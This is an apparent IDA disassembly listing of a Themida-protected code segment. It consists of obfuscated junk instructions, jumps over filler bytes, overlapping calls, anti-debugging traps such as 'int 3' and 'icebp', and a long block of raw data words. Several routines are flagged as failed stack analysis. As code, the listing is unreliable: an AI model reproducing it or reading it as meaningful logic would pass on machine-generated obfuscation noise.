; ---------------------------------------------------------------------------


loc_60E383:				; CODE XREF: Themida_:0060E36Aj
		jmp	loc_60E38F
; ---------------------------------------------------------------------------
		dd 449B2E05h
		db 9, 0A1h, 0E7h
; ---------------------------------------------------------------------------


loc_60E38F:				; CODE XREF: Themida_:loc_60E383j
		movzx	ecx, di
		jmp	loc_60E39D
; ---------------------------------------------------------------------------
		db 9Ch
		dd 79154909h
		db 4
; ---------------------------------------------------------------------------


loc_60E39D:				; CODE XREF: Themida_:0060E392j
		jmp	loc_60E3AB
; ---------------------------------------------------------------------------
		dw 3542h
		dd 0B85F5A70h
		db 0D0h, 0FAh, 32h
; ---------------------------------------------------------------------------


loc_60E3AB:				; CODE XREF: Themida_:loc_60E39Dj
		pusha
		push	esi
		mov	di, 3B7Dh
		pop	eax
		popa
		xor	edx, 6C13D6FFh
		stc
		jo	loc_60E3C2
		mov	bl, dh


loc_60E3C2:				; CODE XREF: Themida_:0060E3BAj
		mov	eax, edi
		mov	ax, di
		jmp	loc_60E3D9
; ---------------------------------------------------------------------------
		dd 4C6DE0ABh, 0B7BAEE4h, 393204Bh
		db 0CCh
; ---------------------------------------------------------------------------


loc_60E3D9:				; CODE XREF: Themida_:0060E3C7j
		jmp	loc_60E3E9
; ---------------------------------------------------------------------------
		dw 0C1BDh
		dd 0AB43D987h, 0E947A0DDh
		db 0A9h
; ---------------------------------------------------------------------------


loc_60E3E9:				; CODE XREF: Themida_:loc_60E3D9j
		xor	edi, 1E17CE48h
		sbb	cl, 0A9h
		sub	cx, 9D5Dh
		stc
		pusha
		call	near ptr loc_60E401+5
		and	[ebx-0Bh], bh


loc_60E401:				; CODE XREF: Themida_:0060E3F9p
		imul	edi, [ebp+66809DFAh], 8A5ACF8Bh
		int	3		; Trap to Debugger
		popa
		mov	edi, 2B3E5030h
		mov	ebx, 567C26E0h
		mov	eax, ebx
		movzx	ebx, ax
		push	esi
		mov	bx, cx
		pop	edi
		movsx	ecx, dx
		jmp	loc_60E430
; ---------------------------------------------------------------------------
		db 6Ah,	13h, 7Fh
		dd 34B1CECh
; ---------------------------------------------------------------------------


loc_60E430:				; CODE XREF: Themida_:0060E424j
		mov	al, 0DEh
		mov	bx, 71CDh
		push	ebx
		mov	di, ax
		pop	eax
		jmp	loc_60E44B
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retf
; ---------------------------------------------------------------------------
		dw 4F68h
; ---------------------------------------------------------------------------
		pushf
		dec	edi
		mov	al, ds:0AB2471B9h


loc_60E44B:				; CODE XREF: Themida_:0060E43Bj
		mov	si, 49A6h
		adc	eax, 21B0A6B3h
		push	eax
		pusha
		push	ebx
		pop	esi
		mov	di, si
		popa
		pop	ebx
		jg	$+6
		jmp	loc_60E473
; ---------------------------------------------------------------------------
		db 0E7h, 66h, 88h
		dd 6B50588Ch
		db 0E3h, 7Fh, 3Ch
; ---------------------------------------------------------------------------


loc_60E473:				; CODE XREF: Themida_:0060E464j
		or	bh, 51h
		jo	loc_60E481
		mov	edx, 68A46632h


loc_60E481:				; CODE XREF: Themida_:0060E476j
		sub	ch, 0F5h
		jge	loc_60E48B
		cld


loc_60E48B:				; CODE XREF: Themida_:0060E484j
		ja	loc_60E495
		mov	di, 9A24h


loc_60E495:				; CODE XREF: Themida_:loc_60E48Bj
		movsx	esi, di
		sbb	si, 13Bh
		and	ebx, 2BB30840h
		jmp	loc_60E4BA
; ---------------------------------------------------------------------------
		dd 4E6EE657h, 0C2BC00FAh, 0DF979DFBh, 0E5CE52EDh
		db 68h,	99h
; ---------------------------------------------------------------------------


loc_60E4BA:				; CODE XREF: Themida_:0060E4A3j
		add	cx, 0AFC0h
		mov	cx, si
		mov	al, dh
		mov	bl, 0CCh
		ja	loc_60E4CF
		movsx	eax, si


loc_60E4CF:				; CODE XREF: Themida_:0060E4C6j
		or	edx, 53808AAAh
		jmp	loc_60E4E9
; ---------------------------------------------------------------------------
		dw 0E379h
		dd 529F4505h, 3554C198h, 59662652h
		db 0A2h
; ---------------------------------------------------------------------------


loc_60E4E9:				; CODE XREF: Themida_:0060E4D5j
		jmp	loc_60E4F5
; ---------------------------------------------------------------------------
		dw 0E85Eh
; ---------------------------------------------------------------------------
		cmp	edx, [ebp-14h]
		mov	dl, 0B1h


loc_60E4F5:				; CODE XREF: Themida_:loc_60E4E9j
		add	cx, 0F5FBh
		mov	di, 0C5E7h
		jns	loc_60E507
		movzx	edi, ax


loc_60E507:				; CODE XREF: Themida_:0060E4FEj
		call	near ptr sub_60E517
		or	eax, 466F976Dh
		hlt
; ---------------------------------------------------------------------------
		push	esi
		xchg	eax, ebp
		add	ebp, esi
		aaa

; =============== S U B	R O U T	I N E =======================================



sub_60E517	proc far		; CODE XREF: Themida_:loc_60E507p
		mov	eax, 384AD5DCh
		pop	edx
		mov	edi, 2435B95Fh
		mov	bx, 96B4h
		pusha
		push	edi
		push	ebx
		pop	eax
		pop	edx
		popa
		call	sub_60E53E
		retf
sub_60E517	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CCh
		db 54h
		dd 0A1049C96h, 0C710D554h
		db 47h,	26h

; =============== S U B	R O U T	I N E =======================================



sub_60E53E	proc near		; CODE XREF: sub_60E517+15p
		call	near ptr loc_60E551+2
		sbb	[esi+0FDB1F5Bh], cl
		push	ecx
		db	2Eh
		out	dx, eax
		add	al, 0CAh
		cmp	byte ptr [edi],	0DAh


loc_60E551:				; CODE XREF: sub_60E53Ep
		rcl	dword ptr [ebp+10E8h], cl
sub_60E53E	endp ; sp-analysis failed

		add	[edi], bh
		mov	edi, 0DF698791h
		iret
; ---------------------------------------------------------------------------
		pop	ebx
		db	2Eh
		xchg	eax, ecx
		inc	eax
		xchg	eax, ebp
		dec	ebx
		cmp	dl, [ebp-2Bh]
		pop	ebx
		pop	edi
		pop	esi
		sub	si, 7D2Dh
		movsx	ebx, ax
		adc	si, 1927h
		and	cx, 0A088h
		movsx	eax, bx
		jnp	$+6
		adc	bx, 993Bh
		movsx	ebx, dx
		push	esi
		jbe	loc_60E59B
		jl	$+6


loc_60E59B:				; CODE XREF: Themida_:0060E58Fj
		pop	esi
		mov	ah, 64h
		jnb	loc_60E5B8
		jmp	loc_60E5B8
; ---------------------------------------------------------------------------
		db 80h,	2Fh, 0F0h
		dd 2CE4DAA6h, 0F937EAD9h, 78E96427h
; ---------------------------------------------------------------------------


loc_60E5B8:				; CODE XREF: Themida_:0060E59Ej
					; Themida_:0060E5A4j
		jbe	loc_60E5C6
		push	eax
		sub	edx, 69640032h
		pop	esi


loc_60E5C6:				; CODE XREF: Themida_:loc_60E5B8j
		xor	ebx, 3D346A1Ch
		pusha
		sub	al, 0D2h
		call	near ptr loc_60E5DD+1
		push	eax
		aaa
		fxch7	st(5)
		mov	byte ptr [ecx],	30h
		pop	es


loc_60E5DD:				; CODE XREF: Themida_:0060E5D0p
		adc	[ecx+61h], bl
		xor	eax, 60347536h
		pusha
		clc
		jmp	loc_60E5FE
; ---------------------------------------------------------------------------
		db 0A0h, 0CCh, 1Bh
		dd 87DC2E6Ch, 331021CAh, 3BBA9369h
; ---------------------------------------------------------------------------
		pop	ds
		sti


loc_60E5FE:				; CODE XREF: Themida_:0060E5E8j
		popa
		jmp	loc_60E613
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 43h,	95h, 4Ch
		dd 62E2212Ch, 1C2FDC16h
		db 0FCh, 21h, 92h
; ---------------------------------------------------------------------------


loc_60E613:				; CODE XREF: Themida_:0060E5FFj
		mov	di, 0B6A0h
		mov	dl, ah
		adc	esi, 2A9AADF2h
		pusha
		jmp	loc_60E631
; ---------------------------------------------------------------------------
		db 33h,	46h, 70h
		dd 0A7BE8EC5h, 8CCD1DC0h
		db 0EFh
; ---------------------------------------------------------------------------


loc_60E631:				; CODE XREF: Themida_:0060E620j
		pusha
		mov	dx, 5905h
		push	edi
		pop	edx
		popa
		popa
		mov	di, dx
		or	edi, 512CA26Eh
		sub	al, 74h
		sbb	al, 0Eh
		mov	ecx, ebx
		jmp	loc_60E65F
; ---------------------------------------------------------------------------
		dd 4AB20722h, 43A1CD50h, 42AB9233h
		db 12h,	0B5h, 12h
; ---------------------------------------------------------------------------


loc_60E65F:				; CODE XREF: Themida_:0060E64Bj
		mov	cx, 0E20Dh
		mov	esi, ecx
		mov	esi, 247FC839h
		push	edi
		call	near ptr loc_60E677+2
		repne xchg eax,	ecx
		mov	esp, 4607B67Dh


loc_60E677:				; CODE XREF: Themida_:0060E66Bp
		fdivr	qword ptr [edi-6E187E9Ah]
		pop	ss
		pop	edx
		pop	edi
		jmp	loc_60E690
; ---------------------------------------------------------------------------
		dec	ebp
		db	36h
		sub	bl, 0C1h
		and	eax, 2B235447h
		scasd


loc_60E690:				; CODE XREF: Themida_:0060E680j
		xor	bh, 5Fh
		push	edi
		mov	edx, 4FD80983h
		pop	ecx
		mov	di, 0CFD9h
		cmc
		mov	al, 54h
		mov	si, dx
		mov	edx, ecx
		jmp	loc_60E6B1
; ---------------------------------------------------------------------------
		db 60h
		dd 550A01F0h
; ---------------------------------------------------------------------------
		movsd


loc_60E6B1:				; CODE XREF: Themida_:0060E6A6j
		sub	dx, 0C748h
		jg	loc_60E6BF
		movsx	eax, bx


loc_60E6BF:				; CODE XREF: Themida_:0060E6B6j
		call	near ptr loc_60E6CF+4
		mov	word ptr [edx-9], ss
		cmpsd
		xor	edx, [esi-76h]
		xor	ecx, ebx
		fxch	st(7)


loc_60E6CF:				; CODE XREF: Themida_:loc_60E6BFp
		xor	eax, 0E96FBC5Bh
		adc	al, 0
; ---------------------------------------------------------------------------
		dw 0
		dd 0D9CCBE65h, 4DBAB54Ah, 485EA2C2h, 7809ADFCh,	0F3992E73h
		dd 0F8BF0F59h, 52221FB9h, 0F41B10Dh, 0B966C6B7h, 0B8662576h
		dd 840FC718h, 5, 15F32CB8h, 0DB816678h,	0F0818302h, 512DC3Ah
		dd 3890Fh, 0D8800000h, 67CD8088h, 81AAEB80h, 401433E6h
		dd 11E93Ah, 0F5380000h,	0BA4D2208h, 25B2D835h, 0C27F094Ah
		dd 818171ECh, 0E453DE2h, 6657602Dh, 58FFE4BEh, 106668BFh
		dd 0F506120h, 28Ah, 5F616000h, 89BA6660h, 0D98B6643h, 12E961h
		dd 68B20000h, 8EBBECACh, 54A36114h, 41EB00DFh, 0EFDD214h
		dd 0EE9F8h, 0B3070000h,	8A16F884h, 1D4676F3h, 37A8C223h
		dd 13E9h, 81F24400h, 0DA9AD5C6h, 5BAF5AA0h, 5F8C9D4Eh
		dd 0EC887FAh, 0D88166F9h, 0B70F495Eh, 0C7F181D1h, 0F4D3AE3h
		dd 0CE8BC2BFh, 45E155BBh, 66CB8B70h, 0D396F281h, 674DBA66h
		dd 88B0Fh, 0F570000h, 85h, 0BB665A00h, 0FE94E9Ch, 0C000000h
		dd 0DFA61F50h, 9169F162h, 9ADA1409h, 0C18B0049h, 0B820Fh
		dd 820F0000h, 5, 3DD08166h, 66DA8BE1h, 81EABFBEh, 0A1C0D7E1h
		dd 8166F821h, 0B25C0EDEh, 0B70F6066h, 0C850FC6h, 0E8000000h
		dd 6, 0AD4D6739h, 615ADB30h, 0CE9h, 30A05000h, 43A2D974h
		dd 0D9D4532Ah, 0D0B70FC2h, 0F6816650h, 665E493Eh, 3ED3F781h
		dd 4694BB50h, 0F585CD8h, 8Ah, 0CCCE8100h, 801D1DC0h, 0F18A67D5h
		dd 5E9h, 0F794A200h, 0E95240A9h, 8, 50FCF53h, 37854AC9h
		dd 3830F59h, 0F000000h,	6060FAB7h, 0D8FBB66h, 10E9h, 86F72B00h
		dd 0C8D1DFEBh, 50369DA8h, 89B17D99h, 56616146h,	12E8h
		dd 5A081D00h, 887BA07h,	0B18FA444h, 0C55D590Bh,	0B1CFF529h
		dd 0E858581Fh, 11h, 0CC0F2077h,	0C0D843D8h, 815B0824h
		dd 0B54AF8Dh, 54D78072h, 0BE95Eh, 382A0000h, 9597E303h
		dd 884E0CC8h, 0DDB5FC64h, 830Fh, 12E90000h, 76000000h
		dd 855B3C88h, 0B9F54BFEh, 1F6C1A3Ch, 0F1080A22h, 0BE8F8B7h
		dd 7A000000h, 3622D379h, 747D1A4Fh, 0F577CF4h, 5859DEB7h
		dd 6FC38166h, 0AE981AEh, 8153223Eh, 0D41D3EBh, 9E9F531h
		dd 45000000h, 0A4E9C8E8h, 63188692h, 10E9h, 93644100h
		dd 9A4050C7h, 3F7A9467h, 0CC6D6014h, 6E936h, 69DB0000h
		dd 0CCDC2D2Bh, 38E0Fh, 0F3800000h, 0DE81662Eh, 0A5B1B584h
		dd 6870F60h, 81000000h,	2D3E80E7h, 0E381664Ch, 8B61D439h
		dd 23A6BED3h, 66601EF3h, 0B974E5B8h, 648030A1h,	0C8BF0F61h
		dd 0EE9h, 0AD9D00h, 0E6710BA9h,	26C26950h, 81324E96h, 1933E5CFh
		dd 0D181605Eh, 339B0F07h, 61FABF0Fh, 470E9FBEh,	0DFAFBF18h
		dd 60562AD2h, 11E95852h, 0
		dd 18F744Eh, 8889AB2Fh,	304FAC59h, 3BFD01CDh, 800F5961h
		dd 4, 5F616056h, 7D5198BEh, 0DB9FBF15h,	81FC2E3Bh, 43A09CCFh
		dd 48B0F33h, 66000000h,	8BA988BEh, 71E080F1h, 7E9h, 0BFD1EC00h
		dd 44EB15F3h, 0DB39BA66h, 12CB8166h, 66F960C8h,	618F9DBAh
		dd 7E9h, 0A1E5D100h, 1D52426Bh,	0EE8h, 27F27A00h, 0D494C997h
		dd 516B8E68h, 59CDCCF2h, 8E0Fh,	0F570000h, 605EDFBFh, 0C820Fh
		dd 7E90000h, 0BB000000h, 0C60194A4h, 0DF814955h, 7D1E99F8h
		dd 5860F61h, 0BA000000h, 5FA8C276h, 7E8h, 0B4C04800h, 60E70F41h
		dd 0AC10BA66h, 5DC6815Eh, 0F259E7Bh, 0E8F9DFB7h, 7, 0EB21C78Ah
		dd 0F6E9D10h, 589h, 0E6816600h,	0E859BBE6h, 11h, 1330D574h
		dd 4E4AD8DDh, 311D1C5Eh, 0C8ECCB78h, 0F59F5FDh,	58Dh, 0E8816600h
		dd 8B66FA42h, 66C881C7h, 0F0BD22Eh, 1585h, 10E900h, 57C50000h
		dd 5490E3EEh, 0CAD6A24Ah, 366CE3AAh, 0B9664421h, 8B669879h
		dd 8F181CFh, 816C80D9h,	6F0012C8h, 0DE8B6619h, 890FA4B1h
		dd 0Ah,	6063B960h, 8B6606FAh, 816661CAh, 0F2485D7h, 28Dh
		dd 8089B100h, 5BFF4F0h,	665CB71Fh, 6A5BCF81h, 0EE960h
		dd 0C5490000h, 5632F19Dh, 46E4A40Bh, 3D147A63h,	61C68B66h
		dd 5E9h, 273D0E00h, 890F9AE8h, 5, 4DF0BCBBh, 9E82Dh, 1180000h
		dd 0F8987362h, 6658EE4Ah, 5ECD20B9h, 11E9h, 0D9ECEA00h
		dd 0CDBC012Ah, 679BDFD5h, 86D45A8Fh, 0ED80597Ah, 0FE963h
		dd 0A5550000h, 564BA1C5h, 17E03532h, 87C7D0FBh,	0F18B668Fh
		dd 0B70FCF8Bh, 8CB866F2h, 0D88A5785h, 14E95Fh, 62360000h
		dd 0A82CA5E2h, 0DE506571h, 0E53180BCh, 0D3211FC1h, 8166832Ah
		dd 0FBF4CCAh, 1483h, 0FE900h, 4F270000h, 0F5000905h, 3231D7E0h
		dd 5ECBF296h, 8E9B7h, 14D0000h,	8307E97Dh, 8D0F4391h, 13h
		dd 0D8E0Fh, 8E90000h, 62000000h, 2AF9005Dh, 0BE167021h
		dd 60FB0079h, 66F08B66h, 3338C681h, 6E85856h, 0A0000000h
		dd 5A98757Bh, 0C78B66F7h, 0CE95Ah, 0E2040000h, 0DB44DDE7h
		dd 0B983AF72h, 0B70FD6C2h, 0AE9D8h, 0DBD60000h,	57ADA74h
		dd 8CDD9FB6h, 0E9D38BF5h, 5, 2638D761h,	0BE82Ch, 3ADE0000h
		dd 3F68DB6Ah, 524A6432h, 7E955h, 4E0F0000h, 57CA9589h
		dd 0B70F5B0Dh, 12E9F2h,	0F9C50000h, 0B182B305h,	5334CBA0h
		dd 0E0D912BEh, 0B4C7A74Bh, 0A90BF66h, 840Fh, 810F0000h
		dd 2, 9E8C5B6h,	0F5000000h, 8F48B78Ch, 0C52CF095h, 11E9h
		dd 5298FD00h, 7DBB918Bh, 2A4E9E6Bh, 0B7659E30h,	0E95F632Bh
		dd 0Ch,	0FD928577h, 28A0F4Eh, 364C9794h, 7E9D88Ah, 69000000h
		dd 0FE69946Ch, 0CE9A747h, 9E000000h, 16E28D32h,	5167D5Ch
		dd 663F3B1Ah, 1736C181h, 0D8AFB966h, 7E8h, 0F9D11E00h
		dd 0A3E6C2A9h, 1BCDE681h, 605A6FD6h, 0B6C38166h, 6140B36Ch
		dd 0BE850F9h, 53000000h, 4D4A0130h, 9230EE52h, 5F5064BAh
		dd 870F5E5Ah, 14h, 0EE8h, 7A0DC500h, 3C8B8F9Eh,	0A456A54Ch
		dd 5E147601h, 0FF86051h, 8Dh, 0F5E6100h, 58Fh, 93E9BB00h
		dd 0F535185h, 0E95FC8BFh, 0Ah, 0B2E37094h, 0C38205CEh
		dd 0BE9663Bh, 98000000h, 331C7445h, 2126E735h, 0E9F5CC94h
		dd 0Bh,	0C4B8B37Bh, 4131A406h, 0BB233362h, 0EC5668Eh, 0F8DF8B60h
		dd 0BE961h, 400000h, 16D84942h,	0FDDF27AAh, 0AE979h, 61F80000h
		dd 4169811Fh, 2A278FEAh, 24BA5B57h, 0F93EE612h,	0D6F68166h
		dd 0CB8166D8h, 8B66FA2Eh, 0BE6650D9h, 805ECB48h, 6051D4D4h
		dd 9CF8BA66h, 61FA8B66h, 1B8E0F5Fh, 60000000h, 13E9F5h
		dd 3AD0000h, 0EBBBF7C6h, 8C34A6B2h, 5D0F17A4h, 4574CCEBh
		dd 0E38161A8h, 5BA5D611h, 0BE66E18Ah, 57604FAAh, 665E5850h
		dd 619417B8h, 0C060F281h, 5E96BE3h, 6B000000h, 27F4963h
		dd 7E8F9h, 9BDC0000h, 0BE0F2242h, 18C0F36h, 0F5000000h
		dd 11E95Ah, 421F0000h, 0A4676AFEh, 0C7B50980h, 0C3B13792h
		dd 60293870h, 0E2C9BE66h, 0CC35C4B9h, 0EE86141h, 20000000h
		dd 99E28E21h, 832E3D3Fh, 5CE8292Eh, 0DAB70F8Fh,	8BD98A5Fh
		dd 4F91BADFh, 12E9652Ch, 59000000h, 80AFF9EFh, 0D15F096Ah
		dd 0ADC59948h, 0C32B5778h, 5E85032h, 12000000h,	0B0DCD18Bh
		dd 59F28B66h, 13840F58h, 0E9000000h, 0Eh, 3C93EB3Ah, 1DDD234h
		dd 39C0A36Dh, 0F603120h, 287h, 66616000h, 61B843BEh, 7E9h
		dd 690D7A00h, 657289E5h, 58D78B52h, 0C28BC8B6h,	11890Fh
		dd 0CE90000h, 24000000h, 0BBB92A21h, 0DA462D05h, 51608184h
		dd 66E28A59h, 6CDEF781h, 0EF80F38Ah, 0D9B70FADh, 5884C881h
		dd 6AB1232Fh, 0E9C28B66h, 5, 0F1F6B64Ah, 52D780D5h, 2F0BBB66h
		dd 0E9F6BF0Fh, 6, 0DC514DE3h, 66FCF030h, 2CEBD681h, 1FF18166h
		dd 5E9ADh, 0B6340000h, 0F2B1928h, 58Ah,	0D6816600h, 5E9FD66h
		dd 6C000000h, 0B226667Dh, 0BB86B966h, 0C3BF0FF5h, 0D6A6BF66h
		dd 8BF0BF0Fh, 0B96660CAh, 8F0FB55Eh, 2,	66616160h, 0EB93C981h
		dd 80D8B70Fh, 0E980CFDAh, 0CF8B667Fh, 860F60h, 0E8000000h
		dd 7, 22429BDCh, 0F36BE0Fh, 615FDEBFh, 2850Fh, 0D08B0000h
		dd 5E9h, 9D24F300h, 0BF0F929Ah,	7E9F6h,	1A430000h, 1C31F989h
		dd 66CF8B5Eh, 4B99C981h, 48B0Fh, 0BA660000h, 81664406h
		dd 0FBD37D8h, 48Fh, 1FB96600h, 0EE85614h, 9E000000h, 0EC472DECh
		dd 0BF49A384h, 671DA23Bh, 0F8BF0F91h, 0B866595Eh, 7E872E3h
		dd 2C000000h, 7073DA5Fh, 8B66D708h, 59575BF7h, 666010B4h
		dd 0F60FE8Bh, 82h, 7F1FBB00h, 61610027h, 0F830Fh, 0E8520000h
		dd 7, 0AE115658h, 5ACD32DEh, 0FBB70F5Eh, 66CA8B66h, 60C908B8h
		dd 0FCFB70Fh, 68Dh, 0D5DE8100h,	61678907h, 0BE9h, 0C1ED5C00h
		dd 501A18D7h, 0C1DF1BBDh, 76D5F181h, 0CB811E5Ah, 1D18DEBAh
		dd 66CBB70Fh, 0F38BF38Bh, 0FD1B70Fh, 68Bh, 840F00h, 8A000000h
		dd 0E4BB66F7h, 88D58026h, 6840Fh, 0D9810000h, 5369E720h
		dd 6800Fh, 0D2810000h, 580E312h, 0E9D0BF0Fh, 8,	57077DFFh
		dd 5E20280h, 6E9h, 26165C00h, 80693262h, 8166F3C6h, 60DB65CAh
		dd 0BF0FFEB1h, 816661C9h, 66DBA8E8h, 0BFB89EBBh, 3D8A69EDh
		dd 5E9h, 0AC0D8F00h, 30B2F1A3h,	5AC68A57h, 1880Fh, 0FF80000h
		dd 18Eh, 8B60F900h, 0F7BF0FDFh,	8E961h,	21820000h, 413ACF58h
		dd 5853AA55h, 0BE9h, 0DFA3B200h, 0E91F3959h, 8A668991h
		dd 60F4E780h, 0E489C181h, 8166019Eh, 61FF03E0h,	0A8BFD781h
		dd 8F0F437Bh, 0
; ---------------------------------------------------------------------------
		mov	dx, 533Bh
		or	si, 78Ch
		mov	al, 79h
		sub	dx, 0BF3Eh
		add	ecx, 19F9A4F4h
		mov	dx, ax
		mov	ax, 0BF4Eh
		jmp	loc_60F180
; ---------------------------------------------------------------------------
		xor	eax, 6D0E901Dh
		pop	edx


loc_60F180:				; CODE XREF: Themida_:0060F175j
		mov	ah, bh
		pusha
		or	dl, 31h
		mov	ah, 0C0h
		popa
		mov	dl, 0EBh
		and	bx, 0E84Ah
		call	sub_60F1A9
		push	cs
		xor	bl, ds:13B8B8F7h
		test	[esi-42h], esp
		iret
; ---------------------------------------------------------------------------
		dd 66B8B5C0h, 0AF83E58Bh
		db 6Ah

; =============== S U B	R O U T	I N E =======================================



sub_60F1A9	proc near		; CODE XREF: Themida_:0060F190p
		sub	si, 0C019h
		pop	ecx
		jnb	loc_60F1B6
		cmc


loc_60F1B6:				; CODE XREF: sub_60F1A9+6j
		jmp	loc_60F1CC
; ---------------------------------------------------------------------------
		db 71h
		dd 20DBA241h, 0AE34B883h, 78C05C0Bh, 6B4509F0h
; ---------------------------------------------------------------------------


loc_60F1CC:				; CODE XREF: sub_60F1A9:loc_60F1B6j
		call	near ptr loc_60F1DC+2
		add	bl, dl
		mov	eax, 7D7EBD85h
		lock les edi, [esi-5Ah]


loc_60F1DC:				; CODE XREF: sub_60F1A9:loc_60F1CCp
		mov	[ecx+eax*4-10h], cl
sub_60F1A9	endp ; sp-analysis failed

		icebp
		daa
		adc	ds:67B86658h, dl
		dec	edx
		mov	esi, 0AB8B44Fh
		stc
		mov	si, 73Ah
		call	near ptr loc_60F201+4
		mov	eax, ds:3D11D7C0h
		rcl	byte ptr [ebx-76h], 6Eh


loc_60F201:				; CODE XREF: Themida_:0060F1F3p
		jmp	far ptr	22B8h:66DBF206h
; ---------------------------------------------------------------------------
		icebp
		pop	ebx
		mov	edi, ebx
		mov	ebx, 1ADCAEFCh
		push	edi
		mov	ax, 0AE53h
		pop	edi
		mov	cx, di
		mov	esi, 2198480Bh
		mov	ax, si
		jmp	loc_60F234
; ---------------------------------------------------------------------------
		db 7
		dd 446DA8B8h, 449F676Bh, 34EA91Dh
; ---------------------------------------------------------------------------


loc_60F234:				; CODE XREF: Themida_:0060F222j
		mov	dx, 0EFE9h
		pusha
		sub	si, 0ACE4h
		jmp	loc_60F248
; ---------------------------------------------------------------------------
		db 7Ch
		dd 0C816B62Ah
; ---------------------------------------------------------------------------


loc_60F248:				; CODE XREF: Themida_:0060F23Ej
		popa
		call	sub_60F257
; ---------------------------------------------------------------------------
		dw 4E68h
; ---------------------------------------------------------------------------
		or	al, 14h
		push	esp
		cdq
		leave
		push	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_60F257	proc near		; CODE XREF: Themida_:0060F249p
		call	sub_60F267
		neg	dword ptr [ebx]
		jmp	near ptr 9148B188h
sub_60F257	endp

; ---------------------------------------------------------------------------
		db 8
		db 0F7h, 0BDh, 68h

; =============== S U B	R O U T	I N E =======================================



sub_60F267	proc near		; CODE XREF: sub_60F257p
		mov	ax, 0FD38h
		pop	esi
		pop	eax
		jmp	loc_60F279
; ---------------------------------------------------------------------------
		dw 3932h
		dd 98390842h
		db 0CEh
; ---------------------------------------------------------------------------


loc_60F279:				; CODE XREF: sub_60F267+6j
		mov	dx, 8F1Dh
		push	ecx
		cld
		pop	eax
		jns	loc_60F28B
		mov	ebx, 1B158CCCh


loc_60F28B:				; CODE XREF: sub_60F267+19j
		jmp	loc_60F29D
; ---------------------------------------------------------------------------
		dd 81ED1C4Eh, 84FB2B2Fh, 25F1E600h
; ---------------------------------------------------------------------------
		aaa


loc_60F29D:				; CODE XREF: sub_60F267:loc_60F28Bj
		movsx	edi, si
		mov	si, dx
		mov	bl, 0C7h
		jb	loc_60F2AC
		stc


loc_60F2AC:				; CODE XREF: sub_60F267+3Ej
		jb	loc_60F2C6
		jmp	loc_60F2C6
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0CA1C5D46h, 3FC40FA8h, 6B8F7Eh
		db 87h,	6Eh
; ---------------------------------------------------------------------------


loc_60F2C6:				; CODE XREF: sub_60F267:loc_60F2ACj
					; sub_60F267+4Bj
		mov	cx, 0BF16h
		mov	cl, 58h
		mov	si, 44EDh
		mov	di, 0ED0Dh
		mov	ax, di
		js	loc_60F2E0
		mov	cx, di


loc_60F2E0:				; CODE XREF: sub_60F267+70j
		jbe	loc_60F2E9
		adc	dl, 0A8h


loc_60F2E9:				; CODE XREF: sub_60F267:loc_60F2E0j
		call	near ptr sub_60F2F5
		wait
		mov	[ebx-1BB39220h], ch
sub_60F267	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F2F5	proc far		; CODE XREF: sub_60F267:loc_60F2E9p
		or	cl, 18h
		pop	eax
		jl	$+6
		cmc
		jnz	loc_60F309
		mov	di, cx


loc_60F309:				; CODE XREF: sub_60F2F5+Bj
		push	esi
		jl	loc_60F314
		mov	cx, 6FB8h


loc_60F314:				; CODE XREF: sub_60F2F5+15j
		pop	ebx
		jmp	loc_60F32B
; ---------------------------------------------------------------------------
		dw 17E7h
		dd 50B4C178h, 0C6CDDF37h, 10073029h
		db 39h,	0D0h, 0B5h
; ---------------------------------------------------------------------------


loc_60F32B:				; CODE XREF: sub_60F2F5+20j
		jmp	loc_60F337
; ---------------------------------------------------------------------------
		retf	36DEh
; ---------------------------------------------------------------------------
		db 13h
		db 8Bh,	90h, 0ACh
; ---------------------------------------------------------------------------


loc_60F337:				; CODE XREF: sub_60F2F5:loc_60F32Bj
		and	ax, 0A457h
		mov	ecx, 42BA684Fh
		jmp	loc_60F353
; ---------------------------------------------------------------------------
		dw 0D69Ch
		dd 0FCBE151Ch, 0C50234Bh
; ---------------------------------------------------------------------------
		idiv	byte ptr [edi-57h]


loc_60F353:				; CODE XREF: sub_60F2F5+4Cj
		mov	edi, eax
		mov	dl, bl
		jl	loc_60F360
		adc	al, 22h


loc_60F360:				; CODE XREF: sub_60F2F5+62j
		jo	$+6
		mov	cx, 1C55h
		jmp	loc_60F382
; ---------------------------------------------------------------------------
		db 0A2h
		dd 55822F22h, 734AF6Dh,	0FFC6BBE4h, 0D03891B6h
		db 7Ah,	43h
; ---------------------------------------------------------------------------


loc_60F382:				; CODE XREF: sub_60F2F5+75j
		pusha
		call	sub_60F39B
		add	eax, ebx
		pop	esi
		out	0F7h, al
		pop	ebx
		test	byte ptr [esi+ebp*2-113907ACh],	1Ch
		lea	ebx, [edx+ebx*8]
		xchg	eax, edx
		lodsb
sub_60F2F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F39B	proc near		; CODE XREF: sub_60F2F5+8Ep
		mov	ax, 98A1h
		pop	ebx
		jmp	loc_60F3B8
; ---------------------------------------------------------------------------
		mov	al, 44h
		mov	esp, ss
		and	[edx-630695F0h], al
		mov	cl, 3Ah
		push	ebx
		movsb
		sub	al, 99h
		adc	[edi+10h], ebp


loc_60F3B8:				; CODE XREF: sub_60F39B+5j
		popa
		mov	si, ax
		push	edx
		mov	ch, 86h
		pop	ecx
		push	edi
		jmp	loc_60F3CF
; ---------------------------------------------------------------------------
		dw 0EDE1h
		dd 4556E474h
		db 0A2h, 0B7h, 8Eh
; ---------------------------------------------------------------------------


loc_60F3CF:				; CODE XREF: sub_60F39B+26j
		pop	edx
		sbb	ah, 89h
		mov	cx, 0D1A4h	; CODE XREF: sub_60F39B+74j
		mov	cl, 0FBh
		pusha
		add	si, 0D648h
		and	ax, 0AA5Bh
		popa
		jmp	loc_60F3F9
; ---------------------------------------------------------------------------
		dw 3961h
		dd 0BA82F257h, 7B02DB74h, 3031452Fh
		db 7Fh
; ---------------------------------------------------------------------------


loc_60F3F9:				; CODE XREF: sub_60F39B+4Aj
		mov	ax, si
		mov	ah, dl
		mov	eax, 52DDB85Dh
		mov	ebx, edx
		mov	eax, 29BC1235h
		call	near ptr loc_60F413+3
		loope	near ptr loc_60F3D3+1
		and	bl, bl


loc_60F413:				; CODE XREF: sub_60F39B+6Fp
		adc	cs:[esi+605EF88Bh], edx
